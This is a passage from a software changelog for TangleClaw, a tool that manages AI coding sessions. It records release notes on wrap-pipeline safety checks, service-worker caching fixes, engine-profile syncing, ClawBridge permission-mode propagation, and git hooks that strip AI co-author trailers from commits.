- **Wrap drawer: skip detail keyed off canonical `status`, not `output.skipped` (closes #204).** `public/wrap-drawer.js:deriveDetail` checked `output.skipped` per kind (pr-check/test/priming-roll/commit/version-bump), but only `version-bump` ever set that flag — the branch was dead code for every other handler, and the renderer happened to fall through to kind defaults. Replaced the per-kind `output.skipped` branches with a single hoisted check on `stepResult.status === 'skipped'` (the canonical signal `buildStepRow` already carries), returning the handler's `detail`/`reason`. This eliminates the convention-drift class permanently — future handlers need no extra flag — and uniformly surfaces skip reasons for kinds that previously had no skip branch (lint/critic-check/ai-content). Dropped the now-redundant `output.skipped: true` from the only two writers (`lib/wrap-steps/version-bump.js`, `lib/wrap-steps/features-toc.js`). Chose this over the issue's recommended "backfill the flag everywhere" (Option A) because keying off the canonical status removes the drift rather than requiring every present and future handler to remember a redundant flag. Incidental UX: a skipped `commit` now reads its reason (`no changes to commit`) and a skipped `test`-override reads `user opted to skip tests` instead of hardcoded drawer strings. **Tests.** `test/wrap-drawer.test.js`: skip-detail-from-status across kinds incl. those with no prior skip branch, bare-skip → `Skipped`, and a guard that a stale `output.skipped` on a non-skipped step is ignored; `test/wrap-pipeline.test.js` pins `output.skipped === undefined` on the skip path. `CACHE_NAME` `v3-15` → `v3-16`. Full suite 2631/2632 (1 pre-existing skip; net +2).

## [3.22.0] - 2026-05-30

### Changed

- **Wrap pipeline safety: auto-branch on `main` + halt on Critic blocking findings (closes #264).** Two paired safety layers ship together to close the failure mode that produced the `631acb5` regression on 2026-05-26 (a session-wrap commit landed directly on main with a Critic-blocking framework regression, the wrap pipeline neither branched nor halted). **Fix 1 — auto-branch in `lib/wrap-steps/commit.js`:** when wrap fires on `main`/`master`, the commit step now creates `wrap/<YYYYMMDDHHmmss>-<project-slug>` and switches to it BEFORE staging+committing — so the wrap commit lands on a feature branch rather than directly on the protected branch. Operator escape hatch: `context.options.allowDirectToMain === true` bypasses entirely (for trivial doc edits / hot-fixes per CLAUDE.md's "direct main commits only for trivial doc edits or incident hot-fixes" carve-out). Output adds `autoBranched` + `originalBranch` so the wrap drawer UI surfaces "Wrap committed on branch X (auto-branched off main)" — feature branches are untouched. A failed `git checkout -b` halts cleanly (rather than silently committing to main against the operator's intent) and the blocker message surfaces the escape-hatch option. **Fix 2 — halt-on-blocking in `lib/wrap-steps/critic-check.js`:** the step now scans `.tangleclaw/critic-runs.json` entries on the current branch and filters by `ranAt: "actual"` + `severity: "blocking"` (case-insensitive). Any blocking finding → `ok: false, status: 'blocked'` with the per-finding summary surfaced in `blockers[]`. The bundled prawduct template's critic-check step flips `blocker: false` → `blocker: "errors-only"` so the runner's `step.blocker === "errors-only" && !ok` halt condition fires. Operator override: `options.criticBlockingOverride === true` + `options.criticBlockingOverrideReason` proceeds anyway but stages an `overrideBlockingFindings` entry; `_buildBodyLines` adds an audit-trail commit-message footer line "Critic-override: \<reason\> (\<N\> blocking finding(s) ignored)" so the override survives in `git log` and `gh pr view` for future reviewers. Backward-compat preserved: `ranAt: "ack"` entries and pre-#267 entries (no `ranAt`) still satisfy the `criticRan` predicate (suppress the heuristic warning) but NEVER trigger the halt — only #267-era real-invocation entries with structured findings can halt. Cross-branch blockers don't bleed (only current-branch entries are scanned). The misconfigured-project path stays `ok: true status: skipped` so probe failures don't accidentally halt wraps. **ADR 0002 amended** to document the new contract under "Extended 2026-05-30 (#264 — wrap-pipeline safety)" — explicitly notes that methodology authors retain control via the `blocker` field (a custom template with `blocker: false` on critic-check restores warning-only semantics). **Tests.** 15 new tests in `test/wrap-pipeline.test.js`: 7 commit-step tests (auto-branch on main, auto-branch on master, `allowDirectToMain` opt-out, feature-branch no-op, auto-branch failure blocks cleanly with escape-hatch hint, override body-line render with/without rationale) + 8 critic-check tests (halt on blocking, case-insensitive severity match, ack-only & no-ranAt backward-compat, non-blocking findings preserved, cross-branch blockers don't bleed, operator override flips back to ok:true + stages audit entry, override-without-rationale still bypasses, warning+blocking coexist independently) + bundled-template-contract pin for prawduct's new `blocker: "errors-only"`. Full suite 2604/2605 (net +16 vs main); 1 pre-existing skip.
- **Addressed Critic-blocking finding on #267 PR (engine field read).** Independent Critic review of `feat/run-critic-button-upgrade` returned 1 BLOCKING + 4 WARNINGs. BLOCKING: the engine guard at `lib/actions/invoke-critic.js` read `session.engine || session.engineProfile?.id`, but the production session record from `store.sessions.getActive` exposes `engineId` (see `lib/store.js:_rowToSession:4210`) — so in production both fields were undefined, the guard never fired, and non-Claude sessions (Gemini, Codex, `openclaw:*`) would have sent `/critic` and burned the full 5-minute `MAX_WAIT_MS` before falling back via `noFindingsFile`. Fix: read `session.engineId || session.engine || session.engineProfile?.id`, treat any non-`"claude"` value (including engine prefixes like `openclaw:<connection>`) as degraded, and report `degradedEngine:unknown` on a corrupt/partial session record. **WARNINGs addressed:** (a) added `test/actions-dispatcher.test.js` regression-pin "injects the active session from store.sessions.getActive into handler options (#267)" using a real `store.sessions.start()`-created session — would have caught the BLOCKING bug; (b) gated the success toast on no-fallback case in `public/session.js:invokeMethodologyAction` — previously toast read "Critic completed for X — 0 finding(s)" alongside the panel reading "ack-only fallback," which was contradictory; (c) added a bounded `AbortController` to the front-end POST with `ACTION_TIMEOUT_MS = MAX_WAIT_MS + 30s`, replacing the previously-unbounded `apiMutate` call — protects VPN / flaky-connection operators from a spinner-of-doom if the server stalls. **WARNINGs deliberately deferred:** the test-evidence-stale finding (informational; full suite 2588/2589 pass on the fix commit is empirically true; updating `.prawduct/.test-evidence.json` is a separate Prawduct concern). **NOTEs (smart quotes, CHANGELOG paragraph length) skipped** as cosmetic. Re-ran `/critic verify-resolutions` per the Critic protocol; resolutions verified before merge.
- **"Run Critic" button actually invokes a Critic now (closes #267, supersedes #266).** Previously the prawduct methodology's action button was labeled "Mark Critic Run" and recorded an operator ack to `.tangleclaw/critic-runs.json` so the wrap pipeline's `critic-check` step could detect that an external Critic review happened. Operators kept reading the label as "this runs a Critic" and were surprised when it didn't. This PR closes the gap by upgrading the handler at `lib/actions/invoke-critic.js` to actually spawn a Critic: it sends `/critic` to the project's active Claude tmux session, polls `sessions.detectIdle` (reusing the wrap pipeline's `ai-content` step pattern), reads structured findings from `.prawduct/.critic-findings.json` (the path the Critic skill documents as its output target), and persists them inline in `.tangleclaw/critic-runs.json` alongside the ack entry. The schema is additive — entries gain optional `ranAt: "actual" | "ack"`, `criticFindingsRef`, and `findings: [...]` fields; the wrap pipeline's read contract is unchanged (any entry on current branch → `criticRan: true`). **Engine matrix deferred to ADR 0002 Chunk 12** — when the active engine is not Claude (e.g. Gemini, Codex on a project like Medusa), the handler falls back to ack-only with a structured `fallbackReason` (`degradedEngine:<engine>`, `noActiveSession`, `tmuxSendFailed`, `idleTimeout`, `noFindingsFile`, `idleDetectFailed`) so the UI surfaces *why* no findings appeared. The `lib/actions.js` dispatcher is now async-aware (handler results are awaited via `Promise.resolve(...)` — sync handlers continue to work unchanged) and looks up the project's active session via `store.sessions.getActive` so handlers don't need to depend on the session store directly. **Findings UI surface.** `public/session.js` gains `renderActionFindings` and `renderActionFallback` panels that anchor at the bottom-right of the viewport, **stay open until explicitly dismissed** (intentional contrast with the auto-closing toast — addresses the same operator-readability concern as #268), and render per-finding severity badges (blocking/warning/note), message, recommendation, and location. Toast also gains a `{findingCount}` placeholder alongside the existing `{branchName}` substitution. **Tests.** 7 new tests in `test/actions-invoke-critic.test.js` covering: ack-only fallback when no session is provided, `degradedEngine` fallback for non-Claude engines, explicit `ackOnly` opt-out, real invocation with mocked tmux+findings-file (verifies parsed findings flow), `noFindingsFile` fallback when the Critic doesn't write, `tmuxSendFailed` fallback when sendKeys throws, and a backward-compat round-trip pin that old entries (no `ranAt`) coexist with new entries without breaking the wrap pipeline's `branchName` filter. **What this PR explicitly does NOT do** (to keep scope tight): does not amend ADR 0002 to halt the wrap pipeline on blocking Critic findings — that's the deferred work in #264. Does not implement engine matrix support for Gemini/Codex Critic invocation — that's Chunk 12 of ADR 0002. Does not change the wrap pipeline `critic-check` step's `blocker: false` contract. Full suite 2583/2584 pass (1 pre-existing skip; net +7).

### Fixed

- **Framework-owned template subtrees now propagate value-changes, reorders, and renames to existing installs (closes #275, #266; activates #264 on existing installs).** The bundled→runtime methodology-template reconcile (`store._mergeBundledTemplate`, run on every server boot) was **purely additive** — `addMissing` adds absent keys, `_reconcileMergeBy` appends entries with a new `idKey`, `_reconcileSetUnion`/`_reconcileOrderedSubset` add absent members — and **never updated a matched entry's field, reordered an array, or dropped a renamed-away entry**. So three bundled changes that shipped green were inert on every existing install: #264's `critic-check.blocker` `false`→`"errors-only"` (matched by id → field left stale, so a BLOCKING Critic finding never halted the wrap), #264's `commit`-after-`critic-check` reorder, and #230's `"Mark Critic Run"`→`"Run Critic"` action rename (matched by label → appended the new label, left the old as a vestigial duplicate button — that *is* #266). Verified live: this machine's `~/.tangleclaw/templates/prawduct/template.json` carried all three stale shapes, and a server restart could not heal them. **Fix:** new `_reconcileFrameworkSubtrees` in `lib/store.js` replaces the framework-owned subtrees (`FRAMEWORK_OWNED_PATHS` = `wrap_pipeline.steps` + `actions`) wholesale from bundled, gated by a monotonic integer `schemaRevision` on the bundled template. It fires only when `bundled.schemaRevision > live.schemaRevision` (a missing/un-revisioned bundled template keeps the exact pre-#275 additive behavior — opt-in by construction, so `minimal` and others are untouched), fires **exactly once per bump** (stamps `live.schemaRevision` after syncing — bounding the clobber to one event per revision with an auditable stamp), and never deletes a path absent from bundled. The live revision is captured **before** `addMissing` runs, because `addMissing` would otherwise copy `schemaRevision` into live and pre-close the gate. The bundled `prawduct` template gains `schemaRevision: 1`, so existing installs self-heal on next boot: `critic-check.blocker` → `"errors-only"`, step order corrected (`critic-check` before `commit`), and the vestigial "Mark Critic Run" action dropped. **Design trade-off (ADR 0001 amended):** these subtrees are framework-owned — the supported customization path is forking a new methodology `id` via `templates.save`, not hand-editing the canonical template's steps/actions in place — so a `schemaRevision` bump overwriting an in-place edit to them is accepted. **Tests.** 7 new tests in `test/store.test.js` (`framework-owned subtree sync — schemaRevision gate (#275)`) exercise the canonical stale-install shape through `_mergeBundledTemplate` (the runtime-load path the inert fixes never tested): the full incident shape (reorder + blocker flip + action rename-dedupe), un-revisioned bundled = no-op (pre-#275 behavior preserved), one-shot-per-bump (equal revision = no re-sync even over a user edit), re-fire on a subsequent bump, stamp-when-already-matching, never-delete-absent-path, and the gate-closed direct-call. Full suite 2612/2613 (1 pre-existing skip; net +7).

### Internal

- **SW NETWORK_FIRST extended to core UI assets to prevent stale-UI bug recurrence (closes #271).** The #267 verification pass on 2026-05-30 surfaced that the new "Run Critic" findings panel didn't render until the operator did `Cmd+Shift+R` — the SW served a stale `public/session.js` from cache. Same pattern bit on #246 (openclaw-cache.js) and #258 (CACHE_NAME bump propagation); this is the third recurrence in two weeks. **Structural fix:** added `/session.js`, `/session.css`, `/landing.js` to `NETWORK_FIRST_PATHS` in `public/sw.js`. Updated the in-source comment to document the broadened scope (two categories now accepted: cache-invalidation scripts AND core UI assets where stale-serve has historically hidden feature changes). Bumped `CACHE_NAME` from `tangleclaw-v3-12` → `tangleclaw-v3-13` so existing operators evict the old cache on next SW activation. **Trade-off:** every page load now incurs a network round-trip for each of these three assets (~50ms × 3 = ~150ms latency added). Bounded and predictable; the unbounded "operator concludes the feature is broken when in fact the new code never reached the browser" cost is what we were paying without it. **Test pin:** new test in `test/openclaw-cache.test.js` asserts all three paths are present in the SW source — future SW-edits can't silently drop the carve-out. **`/landing.css` deliberately omitted** per the post-merge Critic review: no `public/landing.css` file exists today (the landing surface uses `style.css`); a pin for a non-existent asset would have locked dead config. Re-add when/if the asset materializes. Full suite stays green.
- **`.gitignore`: fold the second `# Prawduct session files` header block into the first.** Two consecutive `# Prawduct session files` section headers existed at lines 39 and 54 — first block held 13 entries, second held only `.prawduct/.sync-pending` and `.prawduct/.advisories.json`. Same coherence finding the Independent Critic raised against both prawduct-test's working tree and this repo's working tree during the #267 verification pass. Two-line deletion (the duplicate header + blank line); the two entries from the second block now live in the first block alongside the other session files. Zero behavior change — `.gitignore` semantics are unchanged. Prevents drift if a future framework sync adds another `# Prawduct session files` block.

## [3.21.0] - 2026-05-27

### Internal

- **`serviceWorker.register('/sw.js', { updateViaCache: 'none' })` to speed `CACHE_NAME` bump propagation (closes #258)** — without `updateViaCache: 'none'`, the browser uses the default `'imports'` mode and respects HTTP `Cache-Control` on the top-level SW script. Server already sends `Cache-Control: no-cache` on the SW response, but aggressive intermediate proxies or browser-quirk edge cases can hold the old SW for up to 24h. Setting `updateViaCache: 'none'` forces a network fetch on every update check, so a bumped `CACHE_NAME` (the immediate-unblock tool for any future SW-cache-related bug — see #246) propagates without waiting on TTL. **Belt-and-suspenders relative to #246's structural `NETWORK_FIRST_PATHS` carve-out** — the structural fix already protects cache-bust-critical script delivery; this option makes the `CACHE_NAME` mechanism itself faster for any other cache class. One-line change in `public/landing.js:1041` plus a source-level test pin in `test/openclaw-cache.test.js`. Full suite 2576/2577 pass (1 pre-existing skip; net +1).

### Fixed

- **OpenClaw cache-bust now reaches operators with an active service worker (closes #246)** — root cause was the service worker (`public/sw.js`) serving `openclaw-cache.js` from its cache-first branch. When PR #245 shipped escape-form coverage on `clearStaleOpenclawCache`, operators with an active SW kept getting the pre-#245 script from cache. The cache-bust regex was correct — the new version of it never reached the browser. The user-visible symptom was the issue's repro: stale `openclaw.control.settings.v1` localStorage entry persisting after navigating to a different OpenClaw connection, despite a `currentConnId` mismatch the regex should have caught. **Two-part fix.** (1) Bump `CACHE_NAME` from `tangleclaw-v3-11` to `tangleclaw-v3-12`. The SW's `activate` handler filters out non-matching cache names, so the bump triggers a one-time eviction of every operator's stale cache on next SW install. This is the immediate unblock. (2) Add a `NETWORK_FIRST_PATHS` set containing `/openclaw-cache.js`. The fetch handler now routes these paths through the same network-first branch as `/api/` and navigation requests, so every future change to the script reaches operators immediately. Reserved for scripts whose ENTIRE PURPOSE is cache invalidation — serving a stale copy from the SW cache is by definition wrong, since the operator just shipped a new version precisely because the old one had a cache-related bug. **Diagnostic instrumentation.** `clearStaleOpenclawCache` now emits a `console.warn('[oc-cache] removed <N> stale entries for connId <X>')` when `removed > 0`. Quiet on the common case (zero entries) so normal page loads don't spam the console. This was the issue's "Next investigation step" suggestion — even with the SW fix in place, the breadcrumb makes future cache-bust failure modes diagnostically loud rather than silent. **Tests.** 5 new tests in `test/openclaw-cache.test.js`: (1) `CACHE_NAME` version pin (≥ v3-12, source-level regex) — catches a future hand-edit reverting the bump; (2) `NETWORK_FIRST_PATHS` declaration pin; (3) fetch-handler wiring pin (asserts the routing decision actually consults `NETWORK_FIRST_PATHS.has(url.pathname)`, not just declares it as dead code); (4) instrumentation fires with correct count + connId when entries removed; (5) instrumentation stays quiet on zero-removed common case. Full suite 2575/2576 pass (1 pre-existing skip; net +5).

- **`PUT /api/rules/global` body cap raised from 10 KB to 256 KB (closes #212)** — the default `MAX_BODY_SIZE` of 10 KB was below the size of the canonical `data/global-rules.md` file (14 KB at HEAD, growing as new conventions land), so every PUT returned 413 "Request body too large". This silently broke the landing-page global-rules editor (which calls the same endpoint) since the bundled defaults first crossed the 10 KB threshold. **Fix.** Add a per-route `maxBodySize: 256 * 1024` override on `PUT /api/rules/global` (`server.js:817`) using the same pattern as other large-body routes (`server.js:1567`, `:2827`). 256 KB gives ~18x headroom over current size; even a 10x growth in the ruleset stays well under the limit. **Tests.** Two new cases in `test/api-globalrules.test.js`: (1) explicit 50 KB synthetic-payload PUT to pin the new cap above the old default, with a precondition assert that the payload exceeds 10 KB so the test stays meaningful as defaults shift; (2) round-trip against the actual bundled `data/global-rules.md` (GET → PUT → GET) — the issue's canonical reproduction — with a precondition assert that the bundled content exceeds 10 KB so future ruleset shrinkage doesn't silently nullify the test. Round-trip assertion accounts for #100's trailing-whitespace normalization. Full suite 2569/2570 pass (1 pre-existing skip; net +2 from this PR).

- **Engine profile updates now reach existing installs (closes #251)** — replaces the pre-existing add-missing-only merge in `lib/store.js#_copyBundledFiles` / `#_mergeBundledProfile` with a canonical-source sync (`#_syncBundledEngines`). On every `store.init()`, every bundled `data/engines/*.json` is reconciled against its on-disk counterpart at `~/.tangleclaw/engines/`: structurally-equivalent files short-circuit; drifted files get a `log.warn` followed by an overwrite from bundled. **Why.** PR #250 surfaced the gap by flipping `openclaw.json#launchModes.*.disabled` from `true` → `false`. Existing installs that already had the file at `~/.tangleclaw/engines/openclaw.json` from a prior session never received the value change — the merge ran but skipped keys that already existed in the live file, leaving the launch-mode picker UI cosmetically active but functionally inert. Every PR since the seed-once logic landed that has modified an existing engine field has had the same silent-strand failure mode (#211, #249, #250 confirmed; older PRs likely affected). **Design choice (canonical-source vs field-level merge).** Engine profiles have no UI/API edit surface — `store.engines.save` exists as a primitive but is never called outside tests. The "preserves user customizations" contract the prior merge was written for is theoretical: there is no documented path by which an operator creates such customizations. The same structural ambiguity #240 settled for `data/global-rules.md` applies here, in mirror image — repo file wins, on-disk drift is logged then overwritten. **Operator hand-edits (e.g. someone forking a Claude binary and customizing `preKeys` for it) now get clobbered with a `log.warn` breadcrumb** pointing at the source-of-truth path (`data/engines/`). The #119 stale-bypass-preKeys prune is subsumed by the same mechanism — bundled file has no `preKeys` on `bypassPermissions`, so the canonical overwrite achieves the prune's end state without a special-case branch. **Files in user-local with no bundled counterpart are preserved** — an operator who manually drops a custom engine profile into `~/.tangleclaw/engines/` doesn't lose it; the runtime dir is a union of bundled + operator-added. **Structural-equivalence compare.** `_engineProfileEquivalent` parses both sides as JSON and compares the canonicalized stringification, so whitespace, key order, and trailing-newline differences from older TC versions do NOT trigger spurious drift warnings. Malformed JSON on either side returns false (fail-open), so corrupted on-disk profiles self-heal on next startup. **Tests.** 9 new tests in `test/engine-profile-sync.test.js` covering drift propagation (nested `launchModes.*.disabled` — the #250 root case + a top-level key analog), fresh-install seeding parity, operator-added profile preservation, structural-equivalence short-circuit (no spurious rewrite on whitespace differences), corrupted-on-disk self-heal, idempotence across reboots, and the snapshot the issue specifically called for (every bundled `openclaw.json` key/value reaches `store.engines.get`/`#list` after init). Three pre-existing `#119` tests in `test/store.test.js` updated to reflect the new contract (`canonical-source clobbers operator-customized bypass preKeys` replaces `preserves user-customized bypass preKeys`; prune-specific assertions retargeted at canonical-source end-state); two `add-missing` merge tests replaced with explicit drift/clobber tests. Methodology templates (`_copyBundledTemplates`) deliberately scoped out — they have a richer reconciler (`#155`/`#158` array + hook-entry handling) tied to operator-customizable methodology surfaces, and the same canonical-source flip there would be a separate design decision. Full suite 2566/2567 pass (1 pre-existing skip; net +9 from this PR).

### Added

- **AI co-author strip extended to ALL repos via global git template (#252)** — companion to #247 (per-project commit-msg hook). When `globalSettings.stripAiCoauthors === true`, TC now ALSO installs `strip-ai-coauthors.sh` into `~/.tangleclaw/git-template/hooks/commit-msg` and points `git config --global init.templateDir` at the template root. Every `git init` or `git clone` on the host — including repos created outside TC's project root (`~/code`, `/tmp/scratch`, sibling project trees) — inherits the hook automatically, closing the structural gap surfaced by the 2026-05-27 `openclaw-ebay-research` incident where a Claude session committed a `Co-Authored-By:` trailer into an unregistered repo. **Why.** A user's intent when toggling `stripAiCoauthors` ON is "Claude shouldn't be credited on ANY of my work" — the per-TC-project layer alone doesn't satisfy that. **Three-case `init.templateDir` detection.** (1) Unset → TC sets it to the template root and writes a sentinel file at `<templateDir>/.tc-init-templatedir-owned` (kept at the dir root, NOT inside `hooks/`, so it doesn't leak as a stray dotfile into every `git init`'d repo's hook directory). (2) Already pointing at TC's path → no-op for the global config; sentinel is ensured for clean future revert. (3) Operator-set custom path (e.g. dotfiles, commitlint template) → emit `log.warn`, do NOT clobber, do NOT write sentinel; the hook file is still written to TC's template dir (so per-project installs still work) but the global flip is skipped until the operator resolves the conflict manually. **Toggle-off behaviour.** Removes the hook from TC's template dir; reverts `init.templateDir` ONLY when the sentinel confirms TC claimed ownership (`git config --global --unset init.templateDir`); the sentinel is removed regardless so a future install sees a fresh decision point. If the operator changed the value out from under TC in between install and uninstall, the value is left alone and the result reports `templateDirAction: 'value-changed-by-operator'`. **What changed.** New `lib/git-template.js` (`syncGlobalTemplate`, `installGlobalTemplate`, `uninstallGlobalTemplate`). Wires into `lib/projects.js#syncAllProjects` (startup — single global sync alongside the existing per-project loop, using the same hoisted config snapshot so the toggle value is identical across both surfaces) and `server.js` `PATCH /api/config` (toggle handler — fires once globally after the per-project walk completes). Reuses the same `data/hooks/strip-ai-coauthors.sh` source the per-project installer ships, so a future hook update lands in one place. Atomic tmp+rename writes with 0755 perms — same SIGKILL-safe pattern as `lib/git-hooks.js`. **Known limitation (carried forward by design).** `init.templateDir` only fires on `git init` / `git clone` — existing on-disk repos don't auto-acquire the hook. Two follow-ups deferred out of this PR: (1) a `TC Setup > Apply hook to all git repos` sweep button that walks `find ~ -type d -name .git` and runs `git init` in each parent so the template's commit-msg lands; (2) extending the unregistered-repo surface to suggest the sweep. For now: existing TC-managed repos are covered by #247's per-project installer; existing non-TC-managed repos need the operator to re-run `git init` in-place (or wait for the sweep follow-up). **Tests.** 20 new tests in `test/git-template.test.js` covering fresh install (hook write + templateDir set + sentinel placement at dir root not inside hooks/), idempotence (second install reports `idempotent`; mtime unchanged), drift refresh of stale hook content, operator-owned non-TC `init.templateDir` (no clobber, no sentinel, hook still written), uninstall when TC owned the value (hook removed + templateDir unset + sentinel removed), uninstall without sentinel (hook removed, value left alone), uninstall with operator-changed value (value preserved + sentinel cleaned), idempotent uninstall, dispatcher round-trips for null/empty/explicit true/explicit false config, toggle round-trip (install → uninstall → install leaves no orphan state), source-missing fallback, and an end-to-end `git init` test confirming the hook actually copies into a fresh repo's `.git/hooks/` when the sandboxed `init.templateDir` is active. Tests sandbox `GIT_CONFIG_GLOBAL` (git 2.32+) and `__setTemplateDir` so the real `~/.gitconfig` and `~/.tangleclaw/git-template/` are never touched. Closes #252.

## [3.20.0] - 2026-05-26

### Added

- **Launch-mode picker for OpenClaw connections — propagates `permissionMode` to ClawBridge end-to-end (#210 Phase 2, closes #210)** — completes the multi-phase #210 build started by Phase 1 (PR #249). When the operator picks a launch mode for an OpenClaw connection that carries a `bridgePort`, TC now pre-creates the bridge session with the matching `permissionMode` BEFORE the iframe loads, so the chat UI's own session/start attaches to the existing session via ClawBridge v1.7.0's `attachIfExists: true` idempotent attach. Pick `default` to surface ClawBridge's structured permission-review channel (4 permission events vs 0 with no mode set, per the sibling's smoke-test data); pick `bypassPermissions` for unattended execution in containers; etc. The same six modes that ClawBridge accepts (`default`, `acceptEdits`, `bypassPermissions`, `auto`, `plan`, `dontAsk`) are now selectable. **What changed.** New `lib/clawbridge.js` — thin `node:http` client for `POST /v2/session/start` through the SSH-tunneled `bridgePort`. The POST body is `{project, permissionMode, attachIfExists: true}` — `instruction` is intentionally omitted per ClawBridge v1.6.0's orchestrator pre-create pattern (when omitted, claude spawns as `claude --session-id <uuid> --permission-mode <X>` and enters interactive mode; subsequent user input flows via `POST /v2/session/send`). Bridge auth via `Authorization: Bearer <bridgeToken>` when the connection record carries one. 5s timeout, non-fatal on failure: a failed pre-create falls back to the chat UI's own session/start (no mode propagation) so the iframe URL is always returned. `lib/sessions.js#launchWebuiSession` calls the helper after tunnel-up + health-check, before constructing the iframe URL. `data/engines/openclaw.json` flips all six `launchMode.disabled` flags to `false`. `public/landing.js`'s picker gate (added in Phase 1) now passes the filter and the modal renders for OpenClaw connections. `server.js` forwards `body.launchMode` into the webui launch options. `store.sessions.start` records the chosen mode in the `launch_mode` column for both webui and tmux sessions (was previously only tmux). **Cross-repo coordination (closed).** This is the third PR of a three-repo coordination established this session — ClawBridge v1.6.0 added `permissionMode`, v1.7.0 added `attachIfExists`. The OpenClaw chat-UI session's attach-on-load behaviour question is now moot: `attachIfExists: true` makes the bridge idempotent regardless of whether the chat UI attaches-or-creates. **Connections without `bridgePort`** (Volta is the canonical example in our deployments) launch identically to before this PR — the picker may show modes but the pre-create no-ops, and the chat UI handles session/start as it always did. **Tests.** +9 new tests in `test/clawbridge.test.js` covering happy paths (POST shape + body, attached:true return shape, omitted Authorization header when no token, fallback to `id` field) and error paths (4xx with parsed error, 5xx with synthesized message, connection refused, timeout, non-JSON response body). Contract test in `test/engines.test.js` updated: assertion `disabled === true` → `disabled === false` with the Phase 2 docstring naming what changed. Full suite 2536/2537 pass (1 pre-existing skip; net +9 from this PR).

### Internal

- **OpenClaw `launchModes` engine-profile scaffold (#210 Phase 1)** — adds the six modes ClawBridge v1.6.0 accepts on `POST /v2/session/start` (`default`, `acceptEdits`, `bypassPermissions`, `auto`, `plan`, `dontAsk`) to `data/engines/openclaw.json`, each with `disabled: true` and a `bridgePermissionMode` field that downstream code will read when Phase 2 lands. **No user-visible behaviour change** — the launch-mode picker gate in `public/landing.js` was updated to count only non-disabled modes, so the modal still doesn't render for OpenClaw connections; openclaw launches today are byte-for-byte identical to before this PR. **Why ship now.** Decoupling the engine-profile shape from the propagation work lets the OpenClaw chat-UI session (the third repo in the three-repo coordination established this session: TC / ClawBridge / OpenClaw chat UI) verify its session attach-on-load behaviour against the documented profile while TC's Phase 2 work (lib/clawbridge.js HTTP helper + `launchWebuiSession` POST through the SSH tunnel before iframe URL return) lands separately. **Test contract.** The pre-existing sentinel "openclaw intentionally has no launchModes yet (#209)" was retired and replaced with a contract test that asserts (a) every openclaw mode key is one of ClawBridge's accepted enum, (b) every entry declares a string `bridgePermissionMode` also in the enum, (c) every entry has `disabled: true` while Phase 1 ships without propagation. Comment in the test names the four-step Phase 2 plan that will update the `disabled === true` assertion to `=== false`. **Tracking.** ClawBridge v1.6.0 contract notes captured in `~/.claude/projects/.../memory/reference_clawbridge_architecture.md`. Cross-repo coordination notes captured on #210 (three comments: original assumption, three-repo correction, sibling-confirmed Phase 1 plan). Full suite 2527/2528 pass (1 pre-existing skip; net +0 from this PR — the existing sentinel test was retargeted, not added).

### Added

- **Global setting: strip AI co-author trailers from commits (#247)** — new `stripAiCoauthors` global config field (default **ON**) installs a `commit-msg` git hook in every TC-managed project that strips `Co-Authored-By:` trailers naming an AI coding assistant (Claude, Opus, Sonnet, Haiku, GPT-N, ChatGPT, Gemini, Copilot, Aider, Cursor) before commits land. **Forward-only by design** — git's `commit-msg` hook fires only on new commits; existing history is never touched. Human co-authors pass through, including humans at AI-vendor email domains (the regex anchors to the display-name region BEFORE the `<email>` bracket so `Co-Authored-By: Alex Engineer <alex@anthropic.com>` is preserved). **Accepted trade-off:** humans whose display name CONTAINS an AI vendor token as a full word (e.g. "Anna Sonnet", "Sage Haiku") get stripped — keeping the rule mechanical is preferred over false negatives; humans whose name contains an AI token as a substring ("Claudette Smith", "Cursorial Wright") are preserved by the word-boundary anchor on both sides of the vendor token. **Why.** The advisory layer (`feedback_no_coauthor` memory entry — *"user considers AI work-for-hire"*) was already in place but models forget; mechanical enforcement at the git layer makes the rule unbypassable regardless of model context-window state. **What changed.** New `data/hooks/strip-ai-coauthors.sh` (POSIX sh, two-pattern `grep -ivE` filter with tmp+atomic-rename + `trap`-based cleanup on EXIT/INT/TERM/HUP for SIGKILL safety; carries a `TC-OWNED-HOOK:` marker for drift-aware uninstall). New `lib/git-hooks.js` (`syncGitHooks`, `installCommitMsgHook`, `uninstallCommitMsgHook` — install refuses to clobber a foreign `commit-msg` hook (commitlint, gitlint, operator scripts); uninstall refuses to remove a foreign hook; worktree/submodule `.git`-pointer-files AND symlinked-`.git` setups treated as no-git in v1 (`lstatSync` is load-bearing); ownership marker check is anchored at start-of-line in the first 20 lines so foreign hooks that merely mention the marker text in a comment are not misclassified; refresh of drifted TC-owned hooks emits a `log.warn` BEFORE clobber per the #240 drift-aware-write contract; refresh uses tmp+atomic-rename so a SIGKILL between write and chmod can't leave an unexecutable hook). `DEFAULT_CONFIG.stripAiCoauthors = true` in `lib/store.js`. PATCH `/api/config` whitelists the new boolean field; toggling it iterates EVERY registered project (including archived ones, so a toggle-OFF doesn't leave orphan hooks on archived projects) and re-syncs — gated on actual value change so a Save click that didn't touch the toggle doesn't trigger an N-project filesystem walk. New UI section in Global Settings modal → *Commit hygiene*. **Lifecycle wiring** — symmetric with `engines.syncEngineHooks` per `feedback_symmetric_capability_gates`: `createProject`, `attachProject`, `syncAllProjects` (startup), `updateProject` engine/methodology/silentPrime branches, and `launchSession` all call `gitHooks.syncGitHooks(projectPath, config)`. The `syncAllProjects` startup loop hoists `store.config.load()` out of the per-project loop — single FS read + pinned snapshot avoids the half-on/half-off race if a PATCH /api/config fires mid-sync. **Pattern details (Critic-driven hardening).** Vendor token alternation enforces word boundaries (POSIX ERE workaround: requires non-letter character before and whitespace/`<`/EOL after); `gpt-[0-9]+` covers multi-digit version numbers; trailer prefix tolerates leading whitespace (indented continuation lines) and zero-space-after-colon (editors that strip trailing whitespace). Second pattern matches bot-shaped localparts (`noreply`, `bot`, `ai`, vendor-name + variant) at AI vendor email domains for trailers with empty or generic display names. When EVERY non-blank line matches the strip pattern, the hook refuses to overwrite with an empty commit message and emits a stderr breadcrumb naming itself instead of silently triggering git's confusing "empty commit message" abort. **Tests.** 56 new tests: `test/strip-ai-coauthors-script.test.js` (33 cases — every canonical AI-vendor trailer, multi-digit GPT versions, empty/generic display names, no-space-after-colon variants, leading whitespace tolerance, word-boundary preservation of Claudette/Cursorial/Anna-as-not-a-vendor-token, prose-mentioning-AI-name preservation, would-be-empty refusal with stderr breadcrumb, multi-trailer stripping, missing-arg/missing-file resilience) and `test/git-hooks.test.js` (22 cases — install/uninstall/sync behaviour, TOCTOU-safe `.git` detection, symlink rejection (F8), anchored-marker classification of foreign hooks that mention TC-OWNED-HOOK text in comments (F9), marker-beyond-header-line-limit rejection, drift-aware refresh of TC-owned hooks, foreign-hook preservation on both install and uninstall, 